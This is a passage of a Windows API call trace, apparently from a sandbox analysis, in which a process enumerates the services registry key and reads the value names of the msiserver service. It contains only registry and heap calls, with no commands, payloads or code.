Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0247.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0247.668] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0247.669] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0247.670] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0247.671] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0247.672] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0247.673] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0247.674] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0247.675] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0247.676] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0247.677] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0247.740] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0247.741] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0247.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0247.742] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0247.742] RegCloseKey (hKey=0x154) returned 0x0 [0247.742] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.742] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.743] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.743] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.743] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.744] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.744] RegCloseKey (hKey=0x150) returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.744] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.744] RegCloseKey (hKey=0x154) returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.744] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.745] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.745] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.745] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.745] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, 